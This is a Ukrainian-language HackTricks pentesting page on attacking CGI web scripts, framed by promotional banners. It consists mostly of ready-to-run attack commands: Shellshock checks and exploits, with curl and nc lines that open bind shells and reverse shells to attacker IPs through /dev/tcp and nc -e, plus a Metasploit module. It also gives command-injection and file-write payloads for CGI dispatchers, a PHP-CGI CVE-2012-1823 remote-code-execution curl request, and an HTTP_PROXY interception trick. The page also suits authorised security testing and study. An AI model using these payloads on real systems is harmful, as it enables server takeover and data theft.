CGI Pentesting
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Інформація
The CGI скрипти — perl-скрипти, тож, якщо ви скомпрометували сервер, який може виконувати .cgi скрипти, ви можете завантажити perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl
), змінити розширення з .pl на .cgi, надати права на виконання (chmod +x
) та доступитися до reverse shell через веб-браузер, щоб його виконати.
Щоб перевіряти на CGI vulns, рекомендовано використовувати nikto -C all
(і всі плагіни)
ShellShock
ShellShock — це вразливість, яка впливає на широко використовувану командну оболонку Bash в Unix-подібних операційних системах. Вона націлена на здатність Bash виконувати команди, передані додатками. Уразливість полягає в маніпуляції environment variables, які є динамічними іменованими значеннями, що впливають на те, як процеси виконуються на комп'ютері. Атакуючі можуть експлуатувати це, додаючи malicious code до environment variables, яке виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему.
Експлуатуючи цю вразливість сторінка може викидати помилку.
Ви можете знайти цю вразливість, помітивши, що використовується old Apache version та cgi_mod (з папкою cgi) або використавши nikto.
Test
Більшість тестів базуються на виведенні певного рядка (echo ...) і очікуванні, що цей рядок повернеться у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, знайдіть усі cgi-сторінки і протестуйте їх.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (відображений, сліпий та out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Централізовані CGI-диспетчери (маршрутизація одного endpoint через селекторні параметри)
Багато вбудованих веб-інтерфейсів мультиплексують десятки привілейованих дій за одним CGI endpoint (наприклад, /cgi-bin/cstecgi.cgi
) і використовують селекторний параметр, наприклад topicurl=<handler>
, щоб спрямувати запит до внутрішньої функції.
Методика експлуатації таких маршрутизаторів:
- Enumerate handler names: скрейпте JS/HTML, brute-force with wordlists, або розпаковуйте firmware і використовуйте grep для рядків handler, що застосовуються dispatcher'ом.
- Test unauthenticated reachability: деякі handlers пропускають auth checks і доступні безпосередньо.
- Focus on handlers that invoke system utilities or touch files; слабкі валідатори часто блокують лише кілька символів і можуть пропустити ведучий дефіс
-
.
Generic exploit shapes:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>¶m=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
Виявлення та підвищення безпеки:
- Слідкуйте за неавторизованими запитами до централізованих CGI-ендпойнтів із
topicurl
, встановленим на чутливі обробники. - Позначайте параметри, що починаються з
-
(спроби інʼєкції опцій argv). - Вендори: впроваджуйте автентифікацію для всіх обробників, що змінюють стан; валідуйте за суворими allowlists/types/lengths; і ніколи не передавайте керовані користувачем рядки як command-line flags.
Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
По суті, якщо CGI активний і PHP "старий" (<5.3.12 / < 5.4.2), ви можете виконати код.
Щоб експлуатувати цю вразливість, потрібно отримати доступ до якогось PHP-файлу вебсерверу без відправлення параметрів (особливо без відправлення символу "=").
Потім, щоб перевірити цю вразливість, можна звернутися, наприклад, до /index.php?-s
(зверніть увагу на -s
) і вихідний код додатка з'явиться у відповіді.
Далі, щоб отримати RCE, можна надіслати цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input
і PHP-код буде виконано в тілі запиту. Приклад:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Більше інформації про вразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Проксі (MitM для запитів до веб-сервера)
CGI створює змінну середовища для кожного заголовка в http-запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
Оскільки змінна HTTP_PROXY може використовуватися веб-сервером, спробуйте надіслати header, що містить: "Proxy: <IP_attacker>:<PORT>", і якщо сервер виконає будь-які запити під час сесії, ви зможете перехопити кожен запит, зроблений сервером.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.